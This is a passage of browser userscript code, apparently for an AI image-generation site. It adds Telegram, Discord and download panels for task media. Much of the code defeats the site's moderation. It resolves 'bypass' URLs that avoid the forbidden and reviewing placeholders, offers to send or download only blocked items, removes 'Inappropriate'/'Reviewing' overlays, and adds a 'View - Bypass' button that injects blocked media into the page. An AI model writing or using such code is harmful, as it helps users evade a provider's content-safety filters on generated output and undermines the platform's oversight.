statusText.textContent = 'No media found for this task.';
return;
}
list.style.display = 'block';
if (!isRetry || rowMap.size === 0) {
list.innerHTML = '';
rowMap.clear();
}
unique.forEach(item => ensureRow(item));
sendBtn.disabled = true;
retryBtn.style.display = 'none';
statusText.textContent = isRetry
? `Retrying ${unique.length} item(s)...`
: `Sending ${unique.length} item(s)...`;
let sent = 0;
let failed = 0;
lastFailedItems = [];
for (const item of unique) {
setRowStatus(item.imageId, 'Sending…');
const url = await ensureDownloadUrl(item.imageId, item.mimeType || '');
if (!url) {
failed += 1;
lastFailedItems.push(item);
setRowStatus(item.imageId, 'Failed (no URL)');
updateMediaStatus(item.imageId, { telegramError: true, lastError: 'No URL' });
continue;
}
const size = item.width && item.height ? `${item.width}x${item.height}` : '';
const result = await sendToTelegram(url, item.mimeType || 'image/*', taskData?.taskId || taskId, taskData?.createdAt, size, item.imageId, {
workspaceType: taskData?.workspaceType,
templateName: taskData?.workflowTemplateInfo?.name || taskData?.workflowInfo?.name || '',
templateId: taskData?.workflowTemplateInfo?.workflowTemplateId || taskData?.workflowInfo?.workflowId || ''
});
if (result?.ok) {
sent += 1;
setRowStatus(item.imageId, result.mode === 'url' ? 'Sent (URL)' : 'Sent');
} else {
failed += 1;
lastFailedItems.push(item);
setRowStatus(item.imageId, 'Failed');
updateMediaStatus(item.imageId, { telegramError: true, lastError: result?.error || 'Telegram send failed' });
}
}
statusText.textContent = failed
? `Sent ${sent}/${unique.length}. ${failed} failed.`
: `Sent ${sent}/${unique.length} • Success`;
if (failed > 0) {
retryBtn.style.display = 'inline-flex';
retryBtn.disabled = false;
retryBtn.querySelector('.n-button__content').innerHTML = `<i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed (${failed})`;
}
sendBtn.disabled = false;
};
sendBtn.onclick = async () => {
const mediaItems = buildCandidates();
await sendItems(mediaItems, false);
};
retryBtn.onclick = async () => {
if (!lastFailedItems.length) return;
await sendItems(lastFailedItems, true);
};
attachInjectedHelpTooltip(sendBtn, 'Send all media for this task to Telegram.');
attachInjectedHelpTooltip(retryBtn, 'Retry sending only failed items.');
buttonRow.appendChild(sendBtn);
panel.appendChild(header);
panel.appendChild(statusRow);
panel.appendChild(toggleRow);
panel.appendChild(buttonRow);
panel.appendChild(list);
if (insertBeforeEl && insertBeforeEl.parentElement) {
insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
} else {
anchorEl.appendChild(panel);
}
};
const addTaskDiscordPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
if (isTemplateLikePage()) return;
if (!settings.discordEnabled || !settings.discordWebhook) return;
if (!anchorEl) return;
const key = taskData?.taskId || taskId || '';
const existing = anchorEl.querySelector(`[data-bypass-task-discord="${key}"]`);
if (existing) return;
const panel = document.createElement('div');
panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
panel.setAttribute('data-bypass-task-discord', key);
const header = document.createElement('div');
header.className = 'flex-c-sb';
header.innerHTML = `
<h3 class="text-16 c-text-primary fw-600"><i class="fab fa-discord" style="margin-right: 6px; color: #5865f2;"></i> Discord</h3>
<div class="flex-c gap-4"><span class="text-12 c-text-tertiary">Send all media to webhook</span></div>
`;
const statusRow = document.createElement('div');
statusRow.className = 'flex-c gap-8';
statusRow.style.justifyContent = 'space-between';
statusRow.style.alignItems = 'center';
const statusText = document.createElement('div');
statusText.className = 'text-12 c-text-tertiary';
statusText.textContent = 'Ready to send.';
const retryBtn = document.createElement('button');
retryBtn.type = 'button';
retryBtn.tabIndex = 0;
retryBtn.className = getTensorButtonClass('warning');
retryBtn.style.cssText = 'padding: 4px 10px; font-size: 12px; display: none;';
retryBtn.innerHTML = `
<span class="n-button__content"><i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed</span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
statusRow.appendChild(statusText);
statusRow.appendChild(retryBtn);
const toggleRow = document.createElement('label');
toggleRow.className = 'flex-c gap-8 text-12 c-text-tertiary';
toggleRow.style.cursor = 'pointer';
const onlyBlockedInput = document.createElement('input');
onlyBlockedInput.type = 'checkbox';
onlyBlockedInput.style.cssText = 'cursor: pointer; width: 16px; height: 16px;';
toggleRow.appendChild(onlyBlockedInput);
toggleRow.appendChild(document.createTextNode('Send only blocked items'));
const list = document.createElement('div');
list.className = 'space-y-4';
list.style.display = 'none';
const buttonRow = document.createElement('div');
buttonRow.className = 'flex-c gap-8';
const sendBtn = document.createElement('button');
sendBtn.type = 'button';
sendBtn.className = getTensorButtonClass('default');
sendBtn.innerHTML = `
<span class="n-button__content"><i class="fas fa-paper-plane" style="margin-right: 6px;"></i> Send all to Discord</span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
const rowMap = new Map();
let lastFailedItems = [];
const ensureRow = (item) => {
if (!item?.imageId) return null;
let row = rowMap.get(item.imageId);
if (row) return row;
row = document.createElement('div');
row.className = 'flex-c-sb';
const left = document.createElement('div');
left.className = 'flex-c gap-6';
const idText = document.createElement('span');
idText.className = 'text-12 c-text-secondary';
idText.textContent = item.imageId;
const typeText = document.createElement('span');
typeText.className = 'text-12 c-text-tertiary';
typeText.textContent = item.mimeType?.startsWith('video/') ? 'Video' : 'Image';
left.appendChild(idText);
left.appendChild(typeText);
const statusBadge = document.createElement('span');
statusBadge.className = 'text-12 c-text-tertiary';
statusBadge.textContent = 'Queued';
row.appendChild(left);
row.appendChild(statusBadge);
list.appendChild(row);
rowMap.set(item.imageId, statusBadge);
return statusBadge;
};
const setRowStatus = (itemId, text) => {
const badge = rowMap.get(itemId);
if (badge) badge.textContent = text;
};
const buildCandidates = () => {
const items = Array.isArray(taskData?.items) ? taskData.items : [];
let mediaItems = items.filter(item => item?.imageId && (item.mimeType?.startsWith('image/') || item.mimeType?.startsWith('video/')));
if (onlyBlockedInput.checked) {
mediaItems = mediaItems.filter(item => item?.invalid === true);
}
return mediaItems;
};
const sendItems = async (itemsToSend, isRetry = false) => {
const unique = [];
const seen = new Set();
for (const item of itemsToSend) {
if (!item?.imageId || seen.has(item.imageId)) continue;
seen.add(item.imageId);
unique.push(item);
}
if (!unique.length) {
statusText.textContent = 'No media found for this task.';
return;
}
list.style.display = 'block';
if (!isRetry || rowMap.size === 0) {
list.innerHTML = '';
rowMap.clear();
}
unique.forEach(item => ensureRow(item));
sendBtn.disabled = true;
retryBtn.style.display = 'none';
statusText.textContent = isRetry
? `Retrying ${unique.length} item(s)...`
: `Sending ${unique.length} item(s)...`;
let sent = 0;
let failed = 0;
lastFailedItems = [];
for (const item of unique) {
setRowStatus(item.imageId, 'Sending…');
const url = await ensureDownloadUrl(item.imageId, item.mimeType || '');
if (!url) {
failed += 1;
lastFailedItems.push(item);
setRowStatus(item.imageId, 'Failed (no URL)');
updateMediaStatus(item.imageId, { discordError: true, lastError: 'No URL' });
continue;
}
const size = item.width && item.height ? `${item.width}x${item.height}` : '';
const result = await sendToDiscord(url, item.mimeType || 'image/*', taskData?.taskId || taskId, taskData?.createdAt, size, item.imageId, {
workspaceType: taskData?.workspaceType,
templateName: taskData?.workflowTemplateInfo?.name || taskData?.workflowInfo?.name || '',
templateId: taskData?.workflowTemplateInfo?.workflowTemplateId || taskData?.workflowInfo?.workflowId || ''
});
if (result?.ok) {
sent += 1;
setRowStatus(item.imageId, result.mode === 'url' ? 'Sent (URL)' : 'Sent');
} else {
failed += 1;
lastFailedItems.push(item);
setRowStatus(item.imageId, 'Failed');
updateMediaStatus(item.imageId, { discordError: true, lastError: result?.error || 'Discord send failed' });
}
}
statusText.textContent = failed
? `Sent ${sent}/${unique.length}. ${failed} failed.`
: `Sent ${sent}/${unique.length} • Success`;
if (failed > 0) {
retryBtn.style.display = 'inline-flex';
retryBtn.disabled = false;
retryBtn.querySelector('.n-button__content').innerHTML = `<i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed (${failed})`;
}
sendBtn.disabled = false;
};
sendBtn.onclick = async () => {
const mediaItems = buildCandidates();
await sendItems(mediaItems, false);
};
retryBtn.onclick = async () => {
if (!lastFailedItems.length) return;
await sendItems(lastFailedItems, true);
};
attachInjectedHelpTooltip(sendBtn, 'Send all media for this task to Discord.');
attachInjectedHelpTooltip(retryBtn, 'Retry sending only failed items.');
buttonRow.appendChild(sendBtn);
panel.appendChild(header);
panel.appendChild(statusRow);
panel.appendChild(toggleRow);
panel.appendChild(buttonRow);
panel.appendChild(list);
if (insertBeforeEl && insertBeforeEl.parentElement) {
insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
} else {
anchorEl.appendChild(panel);
}
};
const addTaskDownloadPanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
if (isTemplateLikePage()) return;
if (!anchorEl) return;
const key = taskData?.taskId || taskId || '';
const existing = anchorEl.querySelector(`[data-bypass-task-download="${key}"]`);
if (existing) return;
const panel = document.createElement('div');
panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
panel.setAttribute('data-bypass-task-download', key);
const header = document.createElement('div');
header.className = 'flex-c-sb';
header.innerHTML = `
<h3 class="text-16 c-text-primary fw-600"><i class="fas fa-download" style="margin-right: 6px;"></i> Download</h3>
<div class="flex-c gap-4"><span class="text-12 c-text-tertiary">Download all media for this task</span></div>
`;
const statusRow = document.createElement('div');
statusRow.className = 'flex-c gap-8';
statusRow.style.justifyContent = 'space-between';
statusRow.style.alignItems = 'center';
const statusText = document.createElement('div');
statusText.className = 'text-12 c-text-tertiary';
statusText.textContent = 'Ready to download.';
const retryBtn = document.createElement('button');
retryBtn.type = 'button';
retryBtn.tabIndex = 0;
retryBtn.className = getTensorButtonClass('warning');
retryBtn.style.cssText = 'padding: 4px 10px; font-size: 12px; display: none;';
retryBtn.innerHTML = `
<span class="n-button__content"><i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed</span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
statusRow.appendChild(statusText);
statusRow.appendChild(retryBtn);
const toggleRow = document.createElement('label');
toggleRow.className = 'flex-c gap-8 text-12 c-text-tertiary';
toggleRow.style.cursor = 'pointer';
const onlyBlockedInput = document.createElement('input');
onlyBlockedInput.type = 'checkbox';
onlyBlockedInput.style.cssText = 'cursor: pointer; width: 16px; height: 16px;';
toggleRow.appendChild(onlyBlockedInput);
toggleRow.appendChild(document.createTextNode('Download only blocked items'));
const list = document.createElement('div');
list.className = 'space-y-4';
list.style.display = 'none';
const buttonRow = document.createElement('div');
buttonRow.className = 'flex-c gap-8';
const downloadBtn = document.createElement('button');
downloadBtn.type = 'button';
downloadBtn.className = getTensorButtonClass('default');
downloadBtn.innerHTML = `
<span class="n-button__content"><i class="fas fa-download" style="margin-right: 6px;"></i> Download all</span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
const rowMap = new Map();
let lastFailedItems = [];
const ensureRow = (item) => {
if (!item?.imageId) return null;
let row = rowMap.get(item.imageId);
if (row) return row;
row = document.createElement('div');
row.className = 'flex-c-sb';
const left = document.createElement('div');
left.className = 'flex-c gap-6';
const idText = document.createElement('span');
idText.className = 'text-12 c-text-secondary';
idText.textContent = item.imageId;
const typeText = document.createElement('span');
typeText.className = 'text-12 c-text-tertiary';
typeText.textContent = item.mimeType?.startsWith('video/') ? 'Video' : 'Image';
left.appendChild(idText);
left.appendChild(typeText);
const statusBadge = document.createElement('span');
statusBadge.className = 'text-12 c-text-tertiary';
statusBadge.textContent = 'Queued';
row.appendChild(left);
row.appendChild(statusBadge);
list.appendChild(row);
rowMap.set(item.imageId, statusBadge);
return statusBadge;
};
const setRowStatus = (itemId, text) => {
const badge = rowMap.get(itemId);
if (badge) badge.textContent = text;
};
const buildCandidates = () => {
const items = Array.isArray(taskData?.items) ? taskData.items : [];
let mediaItems = items.filter(item => item?.imageId && (item.mimeType?.startsWith('image/') || item.mimeType?.startsWith('video/')));
if (onlyBlockedInput.checked) {
mediaItems = mediaItems.filter(item => item?.invalid === true);
}
return mediaItems;
};
const downloadItems = async (itemsToDownload, isRetry = false) => {
const unique = [];
const seen = new Set();
for (const item of itemsToDownload) {
if (!item?.imageId || seen.has(item.imageId)) continue;
seen.add(item.imageId);
unique.push(item);
}
if (!unique.length) {
statusText.textContent = 'No media found for this task.';
return;
}
list.style.display = 'block';
if (!isRetry || rowMap.size === 0) {
list.innerHTML = '';
rowMap.clear();
}
unique.forEach(item => ensureRow(item));
downloadBtn.disabled = true;
retryBtn.style.display = 'none';
statusText.textContent = isRetry
? `Retrying ${unique.length} item(s)...`
: `Downloading ${unique.length} item(s)...`;
let sent = 0;
let failed = 0;
lastFailedItems = [];
for (const item of unique) {
setRowStatus(item.imageId, 'Downloading…');
try {
await downloadMediaById(item.imageId, item.mimeType);
sent += 1;
setRowStatus(item.imageId, 'Downloaded');
} catch (err) {
failed += 1;
lastFailedItems.push(item);
setRowStatus(item.imageId, 'Failed');
updateMediaStatus(item.imageId, { downloadError: true, lastError: err.message || 'Download failed' });
}
}
statusText.textContent = failed
? `Downloaded ${sent}/${unique.length}. ${failed} failed.`
: `Downloaded ${sent}/${unique.length} • Success`;
if (failed > 0) {
retryBtn.style.display = 'inline-flex';
retryBtn.disabled = false;
retryBtn.querySelector('.n-button__content').innerHTML = `<i class="fas fa-redo" style="margin-right: 6px;"></i> Retry failed (${failed})`;
}
downloadBtn.disabled = false;
};
downloadBtn.onclick = async () => {
const mediaItems = buildCandidates();
await downloadItems(mediaItems, false);
};
retryBtn.onclick = async () => {
if (!lastFailedItems.length) return;
await downloadItems(lastFailedItems, true);
};
attachInjectedHelpTooltip(downloadBtn, 'Download all media for this task.');
attachInjectedHelpTooltip(retryBtn, 'Retry downloading only failed items.');
// Create bypass link row for task download section
const bypassLinkRow = document.createElement('div');
bypassLinkRow.className = 'flex-c gap-8';
bypassLinkRow.style.cssText = 'justify-content: space-between; align-items: center; padding: 8px; background: rgba(99, 102, 241, 0.08); border-radius: 8px; border: 1px solid rgba(99, 102, 241, 0.15); display: none;';
const linkLabel = document.createElement('div');
linkLabel.className = 'text-12 c-text-tertiary';
linkLabel.style.cssText = 'flex: 1; min-width: 0;';
linkLabel.innerHTML = `
<div style="display: flex; gap: 8px; align-items: center;">
<i class="fas fa-link" style="color: #6366f1; flex-shrink: 0;"></i>
<span style="overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-family: monospace; font-size: 11px;">Resolving bypass URL...</span>
</div>
`;
const openBtn = document.createElement('button');
openBtn.type = 'button';
openBtn.className = getTensorButtonClass('default');
openBtn.style.cssText = 'padding: 4px 10px; font-size: 12px;';
openBtn.innerHTML = `
<span class="n-button__content"><i class="fas fa-up-right-from-square" style="margin-right: 4px;"></i> Open</span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
openBtn.disabled = true;
attachInjectedHelpTooltip(openBtn, 'Open bypass link in new tab');
const copyBtn = document.createElement('button');
copyBtn.type = 'button';
copyBtn.className = getTensorButtonClass('default');
copyBtn.style.cssText = 'padding: 4px 10px; font-size: 12px;';
copyBtn.innerHTML = `
<span class="n-button__content"><i class="fas fa-copy"></i></span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
copyBtn.disabled = true;
attachInjectedHelpTooltip(copyBtn, 'Copy bypass link to clipboard');
bypassLinkRow.appendChild(linkLabel);
bypassLinkRow.appendChild(openBtn);
bypassLinkRow.appendChild(copyBtn);
const isBlockedPreviewUrl = (url) => /forbidden\.jpg|reviewing\.png/i.test(String(url || ''));
const resolveTaskBypassUrl = async () => {
if (taskData?.directUrl && !isBlockedPreviewUrl(taskData.directUrl)) {
return { url: taskData.directUrl, imageId: null, mimeType: '' };
}
const mediaItems = Array.isArray(taskData?.items)
? taskData.items.filter(it => it?.imageId && (it.mimeType?.startsWith('image/') || it.mimeType?.startsWith('video/')))
: [];
for (const media of mediaItems) {
if (media?.url && !isBlockedPreviewUrl(media.url)) {
return { url: media.url, imageId: media.imageId, mimeType: media.mimeType || '' };
}
const resolved = await withTimeout(ensureDownloadUrl(media.imageId, media.mimeType || ''), 5000);
if (resolved && !isBlockedPreviewUrl(resolved)) {
return { url: resolved, imageId: media.imageId, mimeType: media.mimeType || '' };
}
}
return null;
};
if (settings.showBypassedLink) {
(async () => {
const bypass = await resolveTaskBypassUrl();
const bypassUrl = bypass?.url;
if (!bypassUrl || !bypassLinkRow.isConnected) {
bypassLinkRow.style.display = 'none';
return;
}
bypassLinkRow.style.display = 'flex';
linkLabel.innerHTML = `
<div style="display: flex; gap: 8px; align-items: center;">
<i class="fas fa-link" style="color: #6366f1; flex-shrink: 0;"></i>
<span style="overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-family: monospace; font-size: 11px;">
${escapeHtml(bypassUrl)}
</span>
</div>
`;
openBtn.disabled = false;
copyBtn.disabled = false;
const getFreshBypassUrl = async () => {
let current = bypassUrl;
const expAt = getSignedUrlExpiryMs(current);
if (bypass?.imageId && expAt && Date.now() >= (expAt - SIGNED_URL_EXPIRY_SAFETY_MS)) {
deleteCachedDownloadUrl(bypass.imageId);
const fresh = await ensureDownloadUrl(bypass.imageId, bypass.mimeType || '', { bypassCache: true });
if (fresh) current = fresh;
}
return current;
};
openBtn.onclick = async (e) => {
e.preventDefault();
const url = await getFreshBypassUrl().catch(() => bypassUrl);
window.open(url || bypassUrl, '_blank');
};
copyBtn.onclick = async (e) => {
e.preventDefault();
const url = await getFreshBypassUrl().catch(() => bypassUrl);
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(url || bypassUrl);
}
};
})();
}
buttonRow.appendChild(downloadBtn);
panel.appendChild(header);
panel.appendChild(statusRow);
panel.appendChild(bypassLinkRow);
panel.appendChild(toggleRow);
panel.appendChild(buttonRow);
panel.appendChild(list);
if (insertBeforeEl && insertBeforeEl.parentElement) {
insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
} else {
anchorEl.appendChild(panel);
}
};
const addTaskProfilePanel = (anchorEl, taskData, taskId, insertBeforeEl = null) => {
if (!settings.enableTaskProfilesCreation || !anchorEl) return;
const key = taskData?.taskId || taskId || '';
const existing = anchorEl.querySelector(`[data-bypass-task-profile="${key}"]`);
if (existing) return;
const panel = document.createElement('div');
panel.className = 'space-y-4 bg-fill-default px-12 py-8 rd-8';
panel.setAttribute('data-bypass-task-profile', key);
const header = document.createElement('div');
header.className = 'flex-c-sb';
const title = document.createElement('h3');
title.className = 'text-16 c-text-primary fw-600';
title.innerHTML = '<i class="fas fa-folder" style="margin-right: 6px;"></i> Task Profiles';
header.appendChild(title);
const mainRow = document.createElement('div');
mainRow.className = 'flex-c gap-8';
mainRow.style.cssText = 'flex-wrap: wrap; gap: 8px;';
const profiles = getTaskProfiles();
const profileNames = Object.keys(profiles);
if (profileNames.length === 0) {
const emptyMsg = document.createElement('span');
emptyMsg.className = 'text-12 c-text-tertiary';
emptyMsg.textContent = 'No profiles created. Create one in the Profiles tab.';
mainRow.appendChild(emptyMsg);
} else {
// Create a searchable dropdown
const searchContainer = document.createElement('div');
searchContainer.style.cssText = 'position: relative; flex: 1; min-width: 200px;';
const input = document.createElement('input');
input.type = 'text';
input.placeholder = 'Search or select profile...';
input.style.cssText = `
width: 100%;
padding: 8px 10px;
border: 1px solid rgba(148, 163, 184, 0.5);
border-radius: 6px;
background: rgba(15, 23, 42, 0.6);
color: #cbd5e1;
font-size: 12px;
box-sizing: border-box;
`;
const dropdown = document.createElement('div');
dropdown.style.cssText = `
position: absolute;
top: 100%;
left: 0;
right: 0;
background: #1e293b;
border: 1px solid #475569;
border-top: none;
border-radius: 0 0 6px 6px;
max-height: 200px;
overflow-y: auto;
display: none;
z-index: 1000;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
`;
const updateDropdown = () => {
dropdown.innerHTML = '';
const searchTerm = input.value.toLowerCase();
const filtered = profileNames.filter(name => name.toLowerCase().includes(searchTerm));
if (filtered.length === 0) {
const noMatch = document.createElement('div');
noMatch.style.cssText = 'padding: 8px; color: #94a3b8; font-size: 11px;';
noMatch.textContent = 'No profiles match';
dropdown.appendChild(noMatch);
return;
}
filtered.forEach(profileName => {
const option = document.createElement('div');
option.style.cssText = `
padding: 8px 10px;
cursor: pointer;
border-bottom: 1px solid rgba(71, 85, 105, 0.3);
color: #cbd5e1;
font-size: 12px;
transition: background 0.2s;
`;
option.textContent = profileName;
option.addEventListener('mouseover', () => option.style.background = 'rgba(99, 102, 241, 0.2)');
option.addEventListener('mouseout', () => option.style.background = 'transparent');
option.onclick = (e) => {
e.stopPropagation();
handleProfileSelection(profileName);
dropdown.style.display = 'none';
input.value = '';
};
dropdown.appendChild(option);
});
};
const handleProfileSelection = (profileName) => {
// Show dialog to choose copy or move
const method = settings.taskProfileAddMethod;
if (addTaskToProfile(key, taskData, profileName, method)) {
showToast(`Task added to profile "${profileName}" (${method})`, 'success');
}
};
input.addEventListener('focus', () => {
dropdown.style.display = 'block';
updateDropdown();
});
input.addEventListener('blur', () => {
setTimeout(() => {
dropdown.style.display = 'none';
}, 100);
});
input.addEventListener('input', updateDropdown);
searchContainer.appendChild(input);
searchContainer.appendChild(dropdown);
mainRow.appendChild(searchContainer);
// Method selector
const methodLabel = document.createElement('label');
methodLabel.style.cssText = 'display: flex; align-items: center; gap: 6px; font-size: 12px; color: #cbd5e1; cursor: pointer;';
const methodSelect = document.createElement('select');
methodSelect.style.cssText = `
padding: 6px 8px;
border: 1px solid rgba(148, 163, 184, 0.5);
border-radius: 6px;
background: rgba(15, 23, 42, 0.6);
color: #cbd5e1;
font-size: 12px;
cursor: pointer;
`;
const copyOption = document.createElement('option');
copyOption.value = 'copy';
copyOption.textContent = 'Copy (keep in all)';
const moveOption = document.createElement('option');
moveOption.value = 'move';
moveOption.textContent = 'Move (only in profile)';
methodSelect.appendChild(copyOption);
methodSelect.appendChild(moveOption);
methodSelect.value = settings.taskProfileAddMethod;
methodSelect.addEventListener('change', () => {
settings.taskProfileAddMethod = methodSelect.value;
saveSettings();
});
methodLabel.appendChild(methodSelect);
mainRow.appendChild(methodLabel);
}
panel.appendChild(header);
panel.appendChild(mainRow);
if (insertBeforeEl && insertBeforeEl.parentElement) {
insertBeforeEl.parentElement.insertBefore(panel, insertBeforeEl);
} else {
anchorEl.appendChild(panel);
}
};
const removeBlockedOverlayFromSlot = (slot) => {
const overlays = slot.querySelectorAll('div.cursor-not-allowed, div.flex-c-c.bg-fill-default, div.absolute, span.absolute');
overlays.forEach(el => {
const text = (el.textContent || '').toLowerCase();
const hasFlagText = text.includes('inappropriate') || text.includes('reviewing');
const hasFlagClass = el.classList.contains('bg-bg-on-secondary') || el.classList.contains('bg-block');
if (hasFlagText || hasFlagClass || el.classList.contains('cursor-not-allowed')) {
el.remove();
}
});
const blockedShell = slot.querySelector('div.w-full.h-full.flex-c-c.bg-fill-default.border');
if (blockedShell) blockedShell.remove();
};
const findBlockedShell = (slot) => {
if (!slot) return null;
return slot.querySelector('div.w-full.h-full.flex-c-c.bg-fill-default.border')
|| slot.querySelector('div.cursor-not-allowed')
|| null;
};
const removeBlockedMediaArtifacts = (slot) => {
const imgNodes = Array.from(slot.querySelectorAll('img'));
imgNodes.forEach(img => {
const src = `${img.getAttribute('src') || ''} ${img.getAttribute('srcset') || ''}`;
if (src.includes('forbidden.jpg') || src.includes('reviewing.png')) {
img.remove();
}
});
};
const isBlockedSlot = (slot, includeForbidden = false) => {
if (!slot) return false;
const text = slot.textContent || '';
const hasBlockedLabel = text.includes('Inappropriate') || text.includes('Reviewing');
const hasBlockedShell = Boolean(
slot.querySelector('div.w-full.h-full.flex-c-c.bg-fill-default.border')
|| slot.querySelector('iconpark-icon[icon-id="report"]')
|| slot.querySelector('p.text-14.lh-20.fw-500')
);
const isBlockedCard = slot.querySelector('.cursor-not-allowed') || hasBlockedLabel || hasBlockedShell || slot.classList.contains('cursor-not-allowed');
if (!includeForbidden) return Boolean(isBlockedCard);
const forbiddenImg = slot.querySelector('img[src*="forbidden.jpg"], img[srcset*="forbidden.jpg"], img[src*="reviewing.png"], img[srcset*="reviewing.png"]');
return Boolean(isBlockedCard || forbiddenImg);
};
const getMediaSlots = (mediaContainer) => {
if (!mediaContainer) return [];
const allSlots = Array.from(mediaContainer.querySelectorAll('div.rd-8.overflow-hidden'));
if (allSlots.length) return allSlots;
const sizedSlots = Array.from(mediaContainer.querySelectorAll('div.rd-8.overflow-hidden.cursor-pointer.w-196'));
if (sizedSlots.length) return sizedSlots;
return [];
};
const pickTaskBypassCandidate = async (taskData) => {
const items = Array.isArray(taskData?.items) ? taskData.items : [];
if (!items.length) return null;
const isBlockedPreviewUrl = (url) => /forbidden\.jpg|reviewing\.png/i.test(String(url || ''));
const ordered = items
.filter(item => item?.imageId)
.slice()
.sort((a, b) => {
const aScore = (a?.invalid ? 2 : 0) + (isBlockedPreviewUrl(a?.url) ? 1 : 0);
const bScore = (b?.invalid ? 2 : 0) + (isBlockedPreviewUrl(b?.url) ? 1 : 0);
return bScore - aScore;
});
for (const item of ordered) {
const mimeType = String(item?.mimeType || '').trim();
let bypassUrl = String(item?.url || '');
if (!bypassUrl || isBlockedPreviewUrl(bypassUrl)) {
bypassUrl = getCachedDownloadUrl(item.imageId, mimeType) || '';
}
if (!bypassUrl || isBlockedPreviewUrl(bypassUrl)) {
bypassUrl = await ensureDownloadUrl(item.imageId, mimeType).catch(() => null);
}
if (!bypassUrl || isBlockedPreviewUrl(bypassUrl)) continue;
const looksVideo = mimeType.startsWith('video/') || /\.mp4(?:\?|$)|\.webm(?:\?|$)|\.mov(?:\?|$)|\.m4v(?:\?|$)/i.test(String(bypassUrl));
return {
item,
url: String(bypassUrl),
mimeType,
isVideo: looksVideo
};
}
return null;
};
const findTaskPanelSlotAndHost = (panelRoot) => {
if (!panelRoot) return { slot: null, host: null };
const slot = panelRoot.querySelector('div.relative.group.h-auto.min-h-0.w-full') || null;
if (!slot) return { slot: null, host: null };
const host = slot.querySelector('div.task-thumbnail-video')
|| slot.querySelector('div.rd-8.overflow-hidden.cursor-pointer.relative.bg-bg-on-primary.group')
|| slot.querySelector('div.rd-8.overflow-hidden')
|| slot;
return { slot, host };
};
const clearTaskMissingBypassMarker = (slot) => {
if (!slot) return;
slot.querySelectorAll('[data-bypass-task-missing-url]').forEach(el => el.remove());
};
const ensureTaskMissingBypassMarker = (slot, message) => {
if (!slot) return;
let marker = slot.querySelector('[data-bypass-task-missing-url]');
if (!marker) {
marker = document.createElement('div');
marker.setAttribute('data-bypass-task-missing-url', 'true');
marker.style.cssText = 'position:absolute; top:8px; left:8px; z-index:12; width:26px; height:26px; border-radius:999px; display:flex; align-items:center; justify-content:center; background:rgba(239,68,68,0.9); color:#fff; border:1px solid rgba(255,255,255,0.35);';
marker.innerHTML = '<i class="fas fa-triangle-exclamation" style="font-size:12px;"></i>';
slot.style.position = slot.style.position || 'relative';
slot.appendChild(marker);
}
marker.title = message || 'Bypassed URL not found for this task in cache yet.';
attachInfoTooltip(marker, marker.title);
};
const injectBypassMediaIntoHost = (host, media, taskData, taskId) => {
if (!host || !media?.url) return false;
hideActiveBlockedTooltip();
host.innerHTML = '';
if (media.isVideo) {
const video = document.createElement('video');
video.controls = true;
video.preload = 'metadata';
video.src = media.url;
video.className = 'bypass-dom-video';
video.style.cssText = 'width:100%; height:100%; object-fit:contain; display:block; background:#000;';
attachAutoRefreshOnMediaError(video, media.item?.imageId || '', media.mimeType || 'video/mp4', { forceKind: 'video' });
host.appendChild(video);
} else {
const img = document.createElement('img');
img.src = media.url;
img.style.cssText = 'width:100%; height:100%; object-fit:contain; display:block;';
img.className = 'w-full h-full';
attachAutoRefreshOnMediaError(img, media.item?.imageId || '', media.mimeType || 'image/png', { forceKind: 'image' });
img.onclick = (e) => {
e.stopPropagation();
openImageModal(media.url, taskData?.taskId || taskId, taskData?.createdAt, taskData?.expireAt, [], media.item?.imageId || null, media.mimeType || 'image/*');
};
host.appendChild(img);
}
return true;
};
const ensureTaskSafeViewBypassButton = (slot, onClick) => {
if (!slot || typeof onClick !== 'function') return;
const blockedShell = findBlockedShell(slot) || slot;
const inner = blockedShell.querySelector('div.p-12.flex.flex-col') || blockedShell;
if (!inner) return;
let btn = inner.querySelector('[data-bypass-safe-view-btn="true"]');
if (!btn) {
btn = document.createElement('button');
btn.className = 'vi-button vi-button--size-small vi-button--type-secondary';
btn.setAttribute('data-bypass-safe-view-btn', 'true');
btn.type = 'button';
btn.innerHTML = '<div class="vi-button__wrap">View - Bypass</div>';
const appealBtn = inner.querySelector('button.vi-button.vi-button--size-small.vi-button--type-secondary');
if (appealBtn && appealBtn.parentElement) {
appealBtn.parentElement.insertBefore(btn, appealBtn.nextSibling);
} else {
inner.appendChild(btn);
}
}
btn.onclick = async (e) => {
e.preventDefault();
e.stopPropagation();
await onClick();
};
attachInjectedHelpTooltip(btn, 'Reveal bypassed media from cached task URL.');
};
const removeTaskSafeViewBypassButton = (slot) => {
if (!slot) return;
slot.querySelectorAll('[data-bypass-safe-view-btn="true"]').forEach(btn => btn.remove());
};
const injectItemIntoSlot = async (slot, item, taskData, taskId, options = {}) => {
const { deferVideo = true } = options;
hideActiveBlockedTooltip();
removeBlockedOverlayFromSlot(slot);
removeBlockedMediaArtifacts(slot);
